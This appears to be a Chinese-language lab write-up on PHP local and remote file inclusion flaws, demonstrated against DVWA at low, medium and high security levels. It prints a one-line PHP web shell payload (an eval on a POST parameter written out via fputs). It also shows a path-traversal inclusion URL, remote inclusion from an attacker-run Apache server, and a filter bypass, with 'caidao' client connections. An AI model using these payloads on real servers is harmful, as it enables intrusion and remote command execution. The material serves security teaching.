简介
- 原理及其危害
文件包含漏洞:即file inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_foen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时由于要包含的文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己目的。
- 文件包含(file inclusion)即程序通过(包括函数)条用本地或远程文件,从此来实现拓展功能
- 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
- 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
- 本地文件包含LFI(local File Inclusion)当被包含的文件在服务器本地时就形成本地文件包含
- 远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,叫做远程文件包含
vim /etc/php5/cli/php.ini
owasp 低级别(low)默认开启着allow_url_include
本地文件包含
- Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。Robots协议的本质是网站和搜索引擎爬虫的沟通方式,用来指导搜索引擎更好地抓取网站内容,而不是作为搜索引擎之间互相限制和不正当竞争的工具。
本地文件包含LFI
一句话图片木马
<?fputs(fopen("shell1.php","w"),'<?php @eval($_POST[caidao]);?>')?>
上传一句话图片木马:
然后访问
192.168.8.134/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/33.jpg
出现下图代表木马成功注入
然后用菜刀进行连接:
成功入侵
远程文件包含RFI
开启kali的apache2服务器
写入一句话木马:
<?fputs(fopen("shell50.php","w"),'<?php @eval($_POST[caidao]);?>')?>
本地主机访问:
主机使用文件包含打开:
查看服务器已经存在上传的shell50.php文件,并查看文件内容
用菜刀连接shell50.php
访问成功
将安全级别调整为中级
源码:
- 对本地文件包含漏洞没有影响
- 对一句话图片木马也没有影响
创建shell500.txt文件
文件包含打开
发现服务器并未生成shell500.php文件
- 如何破解?
将远程连接名进行隐藏
肉鸡重新访问
执行文件包含后查看服务器,包含shell500.php
设置为高安全级别
源码:
硬匹配,很安全,但是对于开发人员很麻烦。